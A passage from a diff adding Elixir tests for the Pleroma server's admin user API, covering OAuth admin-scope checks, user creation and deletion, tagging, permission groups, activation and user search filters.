"/api/pleroma/admin/users/#{user.nickname}" + + good_token1 = insert(:oauth_token, user: admin, scopes: ["admin"]) + good_token2 = insert(:oauth_token, user: admin, scopes: ["admin:read"]) + good_token3 = insert(:oauth_token, user: admin, scopes: ["admin:read:accounts"]) + + bad_token1 = insert(:oauth_token, user: admin, scopes: ["read:accounts"]) + bad_token2 = insert(:oauth_token, user: admin, scopes: ["admin:read:accounts:partial"]) + bad_token3 = nil + + for good_token <- [good_token1, good_token2, good_token3] do + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, good_token) + |> get(url) + + assert json_response(conn, 200) + end + + for good_token <- [good_token1, good_token2, good_token3] do + conn = + build_conn() + |> assign(:user, nil) + |> assign(:token, good_token) + |> get(url) + + assert json_response(conn, :forbidden) + end + + for bad_token <- [bad_token1, bad_token2, bad_token3] do + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, bad_token) + |> get(url) + + assert json_response(conn, :forbidden) + end + end + end + + describe "unless [:auth, :enforce_oauth_admin_scope_usage]," do + setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage], false) + + test "GET /api/pleroma/admin/users/:nickname requires " <> + "read:accounts or admin:read:accounts or broader scope", + %{admin: admin} do + user = insert(:user) + url = "/api/pleroma/admin/users/#{user.nickname}" + + good_token1 = insert(:oauth_token, user: admin, scopes: ["admin"]) + good_token2 = insert(:oauth_token, user: admin, scopes: ["admin:read"]) + good_token3 = insert(:oauth_token, user: admin, scopes: ["admin:read:accounts"]) + good_token4 = insert(:oauth_token, user: admin, scopes: ["read:accounts"]) + good_token5 = insert(:oauth_token, user: admin, scopes: ["read"]) + + good_tokens = [good_token1, good_token2, good_token3, good_token4, good_token5] + + bad_token1 = insert(:oauth_token, user: admin, scopes: ["read:accounts:partial"]) + bad_token2 = insert(:oauth_token, user: admin, scopes: ["admin:read:accounts:partial"]) + bad_token3 = nil + + for good_token <- good_tokens do + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, good_token) + |> get(url) + + assert json_response(conn, 200) + end + + for good_token <- good_tokens do + conn = + build_conn() + |> assign(:user, nil) + |> assign(:token, good_token) + |> get(url) + + assert json_response(conn, :forbidden) + end + + for bad_token <- [bad_token1, bad_token2, bad_token3] do + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, bad_token) + |> get(url) + + assert json_response(conn, :forbidden) + end + end + end + + describe "DELETE /api/pleroma/admin/users" do + test "single user", %{admin: admin, conn: conn} do + clear_config([:instance, :federating], true) + + user = + insert(:user, + avatar: %{"url" => [%{"href" => "https://someurl"}]}, + banner: %{"url" => [%{"href" => "https://somebanner"}]}, + bio: "Hello world!", + name: "A guy" + ) + + # Create some activities to check they got deleted later + follower = insert(:user) + {:ok, _} = CommonAPI.post(user, %{status: "test"}) + {:ok, _, _, _} = CommonAPI.follow(user, follower) + {:ok, _, _, _} = CommonAPI.follow(follower, user) + user = Repo.get(User, user.id) + assert user.note_count == 1 + assert user.follower_count == 1 + assert user.following_count == 1 + refute user.deactivated + + with_mock Pleroma.Web.Federator, + publish: fn _ -> nil end, + perform: fn _, _ -> nil end do + conn = + conn + |> put_req_header("accept", "application/json") + |> delete("/api/pleroma/admin/users?nickname=#{user.nickname}") + + ObanHelpers.perform_all() + + assert User.get_by_nickname(user.nickname).deactivated + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} deleted users: @#{user.nickname}" + + assert json_response(conn, 200) == [user.nickname] + + user = Repo.get(User, user.id) + assert user.deactivated + + assert user.avatar == %{} + assert user.banner == %{} + assert user.note_count == 0 + assert user.follower_count == 0 + assert user.following_count == 0 + assert user.bio == "" + assert user.name == nil + + assert called(Pleroma.Web.Federator.publish(:_)) + end + end + + test "multiple users", %{admin: admin, conn: conn} do + user_one = insert(:user) + user_two = insert(:user) + + conn = + conn + |> put_req_header("accept", "application/json") + |> delete("/api/pleroma/admin/users", %{ + nicknames: [user_one.nickname, user_two.nickname] + }) + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} deleted users: @#{user_one.nickname}, @#{user_two.nickname}" + + response = json_response(conn, 200) + assert response -- [user_one.nickname, user_two.nickname] == [] + end + end + + describe "/api/pleroma/admin/users" do + test "Create", %{conn: conn} do + conn = + conn + |> put_req_header("accept", "application/json") + |> post("/api/pleroma/admin/users", %{ + "users" => [ + %{ + "nickname" => "lain", + "email" => "lain@example.org", + "password" => "test" + }, + %{ + "nickname" => "lain2", + "email" => "lain2@example.org", + "password" => "test" + } + ] + }) + + response = json_response(conn, 200) |> Enum.map(&Map.get(&1, "type")) + assert response == ["success", "success"] + + log_entry = Repo.one(ModerationLog) + + assert ["lain", "lain2"] -- Enum.map(log_entry.data["subjects"], & &1["nickname"]) == [] + end + + test "Cannot create user with existing email", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> put_req_header("accept", "application/json") + |> post("/api/pleroma/admin/users", %{ + "users" => [ + %{ + "nickname" => "lain", + "email" => user.email, + "password" => "test" + } + ] + }) + + assert json_response(conn, 409) == [ + %{ + "code" => 409, + "data" => %{ + "email" => user.email, + "nickname" => "lain" + }, + "error" => "email has already been taken", + "type" => "error" + } + ] + end + + test "Cannot create user with existing nickname", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> put_req_header("accept", "application/json") + |> post("/api/pleroma/admin/users", %{ + "users" => [ + %{ + "nickname" => user.nickname, + "email" => "someuser@plerama.social", + "password" => "test" + } + ] + }) + + assert json_response(conn, 409) == [ + %{ + "code" => 409, + "data" => %{ + "email" => "someuser@plerama.social", + "nickname" => user.nickname + }, + "error" => "nickname has already been taken", + "type" => "error" + } + ] + end + + test "Multiple user creation works in transaction", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> put_req_header("accept", "application/json") + |> post("/api/pleroma/admin/users", %{ + "users" => [ + %{ + "nickname" => "newuser", + "email" => "newuser@pleroma.social", + "password" => "test" + }, + %{ + "nickname" => "lain", + "email" => user.email, + "password" => "test" + } + ] + }) + + assert json_response(conn, 409) == [ + %{ + "code" => 409, + "data" => %{ + "email" => user.email, + "nickname" => "lain" + }, + "error" => "email has already been taken", + "type" => "error" + }, + %{ + "code" => 409, + "data" => %{ + "email" => "newuser@pleroma.social", + "nickname" => "newuser" + }, + "error" => "", + "type" => "error" + } + ] + + assert User.get_by_nickname("newuser") === nil + end + end + + describe "/api/pleroma/admin/users/:nickname" do + test "Show", %{conn: conn} do + user = insert(:user) + + conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}") + + expected = %{ + "deactivated" => false, + "id" => to_string(user.id), + "local" => true, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + + assert expected == json_response(conn, 200) + end + + test "when the user doesn't exist", %{conn: conn} do + user = build(:user) + + conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}") + + assert %{"error" => "Not found"} == json_response(conn, 404) + end + end + + describe "/api/pleroma/admin/users/follow" do + test "allows to force-follow another user", %{admin: admin, conn: conn} do + user = insert(:user) + follower = insert(:user) + + conn + |> put_req_header("accept", "application/json") + |> post("/api/pleroma/admin/users/follow", %{ + "follower" => follower.nickname, + "followed" => user.nickname + }) + + user = User.get_cached_by_id(user.id) + follower = User.get_cached_by_id(follower.id) + + assert User.following?(follower, user) + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} made @#{follower.nickname} follow @#{user.nickname}" + end + end + + describe "/api/pleroma/admin/users/unfollow" do + test "allows to force-unfollow another user", %{admin: admin, conn: conn} do + user = insert(:user) + follower = insert(:user) + + User.follow(follower, user) + + conn + |> put_req_header("accept", "application/json") + |> post("/api/pleroma/admin/users/unfollow", %{ + "follower" => follower.nickname, + "followed" => user.nickname + }) + + user = User.get_cached_by_id(user.id) + follower = User.get_cached_by_id(follower.id) + + refute User.following?(follower, user) + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} made @#{follower.nickname} unfollow @#{user.nickname}" + end + end + + describe "PUT /api/pleroma/admin/users/tag" do + setup %{conn: conn} do + user1 = insert(:user, %{tags: ["x"]}) + user2 = insert(:user, %{tags: ["y"]}) + user3 = insert(:user, %{tags: ["unchanged"]}) + + conn = + conn + |> put_req_header("accept", "application/json") + |> put( + "/api/pleroma/admin/users/tag?nicknames[]=#{user1.nickname}&nicknames[]=" <> + "#{user2.nickname}&tags[]=foo&tags[]=bar" + ) + + %{conn: conn, user1: user1, user2: user2, user3: user3} + end + + test "it appends specified tags to users with specified nicknames", %{ + conn: conn, + admin: admin, + user1: user1, + user2: user2 + } do + assert empty_json_response(conn) + assert User.get_cached_by_id(user1.id).tags == ["x", "foo", "bar"] + assert User.get_cached_by_id(user2.id).tags == ["y", "foo", "bar"] + + log_entry = Repo.one(ModerationLog) + + users = + [user1.nickname, user2.nickname] + |> Enum.map(&"@#{&1}") + |> Enum.join(", ") + + tags = ["foo", "bar"] |> Enum.join(", ") + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} added tags: #{tags} to users: #{users}" + end + + test "it does not modify tags of not specified users", %{conn: conn, user3: user3} do + assert empty_json_response(conn) + assert User.get_cached_by_id(user3.id).tags == ["unchanged"] + end + end + + describe "DELETE /api/pleroma/admin/users/tag" do + setup %{conn: conn} do + user1 = insert(:user, %{tags: ["x"]}) + user2 = insert(:user, %{tags: ["y", "z"]}) + user3 = insert(:user, %{tags: ["unchanged"]}) + + conn = + conn + |> put_req_header("accept", "application/json") + |> delete( + "/api/pleroma/admin/users/tag?nicknames[]=#{user1.nickname}&nicknames[]=" <> + "#{user2.nickname}&tags[]=x&tags[]=z" + ) + + %{conn: conn, user1: user1, user2: user2, user3: user3} + end + + test "it removes specified tags from users with specified nicknames", %{ + conn: conn, + admin: admin, + user1: user1, + user2: user2 + } do + assert empty_json_response(conn) + assert User.get_cached_by_id(user1.id).tags == [] + assert User.get_cached_by_id(user2.id).tags == ["y"] + + log_entry = Repo.one(ModerationLog) + + users = + [user1.nickname, user2.nickname] + |> Enum.map(&"@#{&1}") + |> Enum.join(", ") + + tags = ["x", "z"] |> Enum.join(", ") + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} removed tags: #{tags} from users: #{users}" + end + + test "it does not modify tags of not specified users", %{conn: conn, user3: user3} do + assert empty_json_response(conn) + assert User.get_cached_by_id(user3.id).tags == ["unchanged"] + end + end + + describe "/api/pleroma/admin/users/:nickname/permission_group" do + test "GET is giving user_info", %{admin: admin, conn: conn} do + conn = + conn + |> put_req_header("accept", "application/json") + |> get("/api/pleroma/admin/users/#{admin.nickname}/permission_group/") + + assert json_response(conn, 200) == %{ + "is_admin" => true, + "is_moderator" => false + } + end + + test "/:right POST, can add to a permission group", %{admin: admin, conn: conn} do + user = insert(:user) + + conn = + conn + |> put_req_header("accept", "application/json") + |> post("/api/pleroma/admin/users/#{user.nickname}/permission_group/admin") + + assert json_response(conn, 200) == %{ + "is_admin" => true + } + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} made @#{user.nickname} admin" + end + + test "/:right POST, can add to a permission group (multiple)", %{admin: admin, conn: conn} do + user_one = insert(:user) + user_two = insert(:user) + + conn = + conn + |> put_req_header("accept", "application/json") + |> post("/api/pleroma/admin/users/permission_group/admin", %{ + nicknames: [user_one.nickname, user_two.nickname] + }) + + assert json_response(conn, 200) == %{"is_admin" => true} + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} made @#{user_one.nickname}, @#{user_two.nickname} admin" + end + + test "/:right DELETE, can remove from a permission group", %{admin: admin, conn: conn} do + user = insert(:user, is_admin: true) + + conn = + conn + |> put_req_header("accept", "application/json") + |> delete("/api/pleroma/admin/users/#{user.nickname}/permission_group/admin") + + assert json_response(conn, 200) == %{"is_admin" => false} + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} revoked admin role from @#{user.nickname}" + end + + test "/:right DELETE, can remove from a permission group (multiple)", %{ + admin: admin, + conn: conn + } do + user_one = insert(:user, is_admin: true) + user_two = insert(:user, is_admin: true) + + conn = + conn + |> put_req_header("accept", "application/json") + |> delete("/api/pleroma/admin/users/permission_group/admin", %{ + nicknames: [user_one.nickname, user_two.nickname] + }) + + assert json_response(conn, 200) == %{"is_admin" => false} + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} revoked admin role from @#{user_one.nickname}, @#{ + user_two.nickname + }" + end + end + + test "/api/pleroma/admin/users/:nickname/password_reset", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> put_req_header("accept", "application/json") + |> get("/api/pleroma/admin/users/#{user.nickname}/password_reset") + + resp = json_response(conn, 200) + + assert Regex.match?(~r/(http:\/\/|https:\/\/)/, resp["link"]) + end + + describe "GET /api/pleroma/admin/users" do + test "renders users array for the first page", %{conn: conn, admin: admin} do + user = insert(:user, local: false, tags: ["foo", "bar"]) + user2 = insert(:user, approval_pending: true, registration_reason: "I'm a chill dude") + + conn = get(conn, "/api/pleroma/admin/users?page=1") + + users = + [ + %{ + "deactivated" => admin.deactivated, + "id" => admin.id, + "nickname" => admin.nickname, + "roles" => %{"admin" => true, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(admin) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(admin.name || admin.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => admin.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + }, + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => false, + "tags" => ["foo", "bar"], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + }, + %{ + "deactivated" => user2.deactivated, + "id" => user2.id, + "nickname" => user2.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user2) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user2.name || user2.nickname), + "confirmation_pending" => false, + "approval_pending" => true, + "url" => user2.ap_id, + "registration_reason" => "I'm a chill dude", + "actor_type" => "Person" + } + ] + |> Enum.sort_by(& &1["nickname"]) + + assert json_response(conn, 200) == %{ + "count" => 3, + "page_size" => 50, + "users" => users + } + end + + test "pagination works correctly with service users", %{conn: conn} do + service1 = User.get_or_create_service_actor_by_ap_id(Web.base_url() <> "/meido", "meido") + + insert_list(25, :user) + + assert %{"count" => 26, "page_size" => 10, "users" => users1} = + conn + |> get("/api/pleroma/admin/users?page=1&filters=", %{page_size: "10"}) + |> json_response(200) + + assert Enum.count(users1) == 10 + assert service1 not in users1 + + assert %{"count" => 26, "page_size" => 10, "users" => users2} = + conn + |> get("/api/pleroma/admin/users?page=2&filters=", %{page_size: "10"}) + |> json_response(200) + + assert Enum.count(users2) == 10 + assert service1 not in users2 + + assert %{"count" => 26, "page_size" => 10, "users" => users3} = + conn + |> get("/api/pleroma/admin/users?page=3&filters=", %{page_size: "10"}) + |> json_response(200) + + assert Enum.count(users3) == 6 + assert service1 not in users3 + end + + test "renders empty array for the second page", %{conn: conn} do + insert(:user) + + conn = get(conn, "/api/pleroma/admin/users?page=2") + + assert json_response(conn, 200) == %{ + "count" => 2, + "page_size" => 50, + "users" => [] + } + end + + test "regular search", %{conn: conn} do + user = insert(:user, nickname: "bob") + + conn = get(conn, "/api/pleroma/admin/users?query=bo") + + assert json_response(conn, 200) == %{ + "count" => 1, + "page_size" => 50, + "users" => [ + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + end + + test "search by domain", %{conn: conn} do + user = insert(:user, nickname: "nickname@domain.com") + insert(:user) + + conn = get(conn, "/api/pleroma/admin/users?query=domain.com") + + assert json_response(conn, 200) == %{ + "count" => 1, + "page_size" => 50, + "users" => [ + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + end + + test "search by full nickname", %{conn: conn} do + user = insert(:user, nickname: "nickname@domain.com") + insert(:user) + + conn = get(conn, "/api/pleroma/admin/users?query=nickname@domain.com") + + assert json_response(conn, 200) == %{ + "count" => 1, + "page_size" => 50, + "users" => [ + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + end + + test "search by display name", %{conn: conn} do + user = insert(:user, name: "Display name") + insert(:user) + + conn = get(conn, "/api/pleroma/admin/users?name=display") + + assert json_response(conn, 200) == %{ + "count" => 1, + "page_size" => 50, + "users" => [ + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + end + + test "search by email", %{conn: conn} do + user = insert(:user, email: "email@example.com") + insert(:user) + + conn = get(conn, "/api/pleroma/admin/users?email=email@example.com") + + assert json_response(conn, 200) == %{ + "count" => 1, + "page_size" => 50, + "users" => [ + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + end + + test "regular search with page size", %{conn: conn} do + user = insert(:user, nickname: "aalice") + user2 = insert(:user, nickname: "alice") + + conn1 = get(conn, "/api/pleroma/admin/users?query=a&page_size=1&page=1") + + assert json_response(conn1, 200) == %{ + "count" => 2, + "page_size" => 1, + "users" => [ + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + + conn2 = get(conn, "/api/pleroma/admin/users?query=a&page_size=1&page=2") + + assert json_response(conn2, 200) == %{ + "count" => 2, + "page_size" => 1, + "users" => [ + %{ + "deactivated" => user2.deactivated, + "id" => user2.id, + "nickname" => user2.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user2) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user2.name || user2.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user2.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + end + + test "only local users" do + admin = insert(:user, is_admin: true, nickname: "john") + token = insert(:oauth_admin_token, user: admin) + user = insert(:user, nickname: "bob") + + insert(:user, nickname: "bobb", local: false) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + |> get("/api/pleroma/admin/users?query=bo&filters=local") + + assert json_response(conn, 200) == %{ + "count" => 1, + "page_size" => 50, + "users" => [ + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + end + + test "only local users with no query", %{conn: conn, admin: old_admin} do + admin = insert(:user, is_admin: true, nickname: "john") + user = insert(:user, nickname: "bob") + + insert(:user, nickname: "bobb", local: false) + + conn = get(conn, "/api/pleroma/admin/users?filters=local") + + users = + [ + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + }, + %{ + "deactivated" => admin.deactivated, + "id" => admin.id, + "nickname" => admin.nickname, + "roles" => %{"admin" => true, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(admin) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(admin.name || admin.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => admin.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + }, + %{ + "deactivated" => false, + "id" => old_admin.id, + "local" => true, + "nickname" => old_admin.nickname, + "roles" => %{"admin" => true, "moderator" => false}, + "tags" => [], + "avatar" => User.avatar_url(old_admin) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(old_admin.name || old_admin.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => old_admin.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + |> Enum.sort_by(& &1["nickname"]) + + assert json_response(conn, 200) == %{ + "count" => 3, + "page_size" => 50, + "users" => users + } + end + + test "only unapproved users", %{conn: conn} do + user = + insert(:user, + nickname: "sadboy", + approval_pending: true, + registration_reason: "Plz let me in!" + ) + + insert(:user, nickname: "happyboy", approval_pending: false) + + conn = get(conn, "/api/pleroma/admin/users?filters=need_approval") + + users = + [ + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => true, + "url" => user.ap_id, + "registration_reason" => "Plz let me in!", + "actor_type" => "Person" + } + ] + |> Enum.sort_by(& &1["nickname"]) + + assert json_response(conn, 200) == %{ + "count" => 1, + "page_size" => 50, + "users" => users + } + end + + test "load only admins", %{conn: conn, admin: admin} do + second_admin = insert(:user, is_admin: true) + insert(:user) + insert(:user) + + conn = get(conn, "/api/pleroma/admin/users?filters=is_admin") + + users = + [ + %{ + "deactivated" => false, + "id" => admin.id, + "nickname" => admin.nickname, + "roles" => %{"admin" => true, "moderator" => false}, + "local" => admin.local, + "tags" => [], + "avatar" => User.avatar_url(admin) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(admin.name || admin.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => admin.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + }, + %{ + "deactivated" => false, + "id" => second_admin.id, + "nickname" => second_admin.nickname, + "roles" => %{"admin" => true, "moderator" => false}, + "local" => second_admin.local, + "tags" => [], + "avatar" => User.avatar_url(second_admin) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(second_admin.name || second_admin.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => second_admin.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + |> Enum.sort_by(& &1["nickname"]) + + assert json_response(conn, 200) == %{ + "count" => 2, + "page_size" => 50, + "users" => users + } + end + + test "load only moderators", %{conn: conn} do + moderator = insert(:user, is_moderator: true) + insert(:user) + insert(:user) + + conn = get(conn, "/api/pleroma/admin/users?filters=is_moderator") + + assert json_response(conn, 200) == %{ + "count" => 1, + "page_size" => 50, + "users" => [ + %{ + "deactivated" => false, + "id" => moderator.id, + "nickname" => moderator.nickname, + "roles" => %{"admin" => false, "moderator" => true}, + "local" => moderator.local, + "tags" => [], + "avatar" => User.avatar_url(moderator) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(moderator.name || moderator.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => moderator.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + end + + test "load users with tags list", %{conn: conn} do + user1 = insert(:user, tags: ["first"]) + user2 = insert(:user, tags: ["second"]) + insert(:user) + insert(:user) + + conn = get(conn, "/api/pleroma/admin/users?tags[]=first&tags[]=second") + + users = + [ + %{ + "deactivated" => false, + "id" => user1.id, + "nickname" => user1.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => user1.local, + "tags" => ["first"], + "avatar" => User.avatar_url(user1) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user1.name || user1.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user1.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + }, + %{ + "deactivated" => false, + "id" => user2.id, + "nickname" => user2.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => user2.local, + "tags" => ["second"], + "avatar" => User.avatar_url(user2) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user2.name || user2.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user2.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + |> Enum.sort_by(& &1["nickname"]) + + assert json_response(conn, 200) == %{ + "count" => 2, + "page_size" => 50, + "users" => users + } + end + + test "`active` filters out users pending approval", %{token: token} do + insert(:user, approval_pending: true) + %{id: user_id} = insert(:user, approval_pending: false) + %{id: admin_id} = token.user + + conn = + build_conn() + |> assign(:user, token.user) + |> assign(:token, token) + |> get("/api/pleroma/admin/users?filters=active") + + assert %{ + "count" => 2, + "page_size" => 50, + "users" => [ + %{"id" => ^admin_id}, + %{"id" => ^user_id} + ] + } = json_response(conn, 200) + end + + test "it works with multiple filters" do + admin = insert(:user, nickname: "john", is_admin: true) + token = insert(:oauth_admin_token, user: admin) + user = insert(:user, nickname: "bob", local: false, deactivated: true) + + insert(:user, nickname: "ken", local: true, deactivated: true) + insert(:user, nickname: "bobb", local: false, deactivated: false) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + |> get("/api/pleroma/admin/users?filters=deactivated,external") + + assert json_response(conn, 200) == %{ + "count" => 1, + "page_size" => 50, + "users" => [ + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => user.local, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + end + + test "it omits relay user", %{admin: admin, conn: conn} do + assert %User{} = Relay.get_actor() + + conn = get(conn, "/api/pleroma/admin/users") + + assert json_response(conn, 200) == %{ + "count" => 1, + "page_size" => 50, + "users" => [ + %{ + "deactivated" => admin.deactivated, + "id" => admin.id, + "nickname" => admin.nickname, + "roles" => %{"admin" => true, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(admin) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(admin.name || admin.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => admin.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + end + end + + test "PATCH /api/pleroma/admin/users/activate", %{admin: admin, conn: conn} do + user_one = insert(:user, deactivated: true) + user_two = insert(:user, deactivated: true) + + conn = + patch( + conn, + "/api/pleroma/admin/users/activate", + %{nicknames: [user_one.nickname, user_two.nickname]} + ) + + response = json_response(conn, 200) + assert Enum.map(response["users"], & &1["deactivated"]) == [false, false] + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} activated users: @#{user_one.nickname}, @#{user_two.nickname}" + end + + test "PATCH /api/pleroma/admin/users/deactivate", %{admin: admin, conn: conn} do + user_one = insert(:user, deactivated: false) + user_two = insert(:user, deactivated: false) + + conn = + patch( + conn, + "/api/pleroma/admin/users/deactivate", + %{nicknames: [user_one.nickname, user_two.nickname]} + ) + + response = json_response(conn, 200) + assert Enum.map(response["users"], & &1["deactivated"]) == [true, true] + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} deactivated users: @#{user_one.nickname}, @#{user_two.nickname}" + end + + test "PATCH /api/pleroma/admin/users/approve", 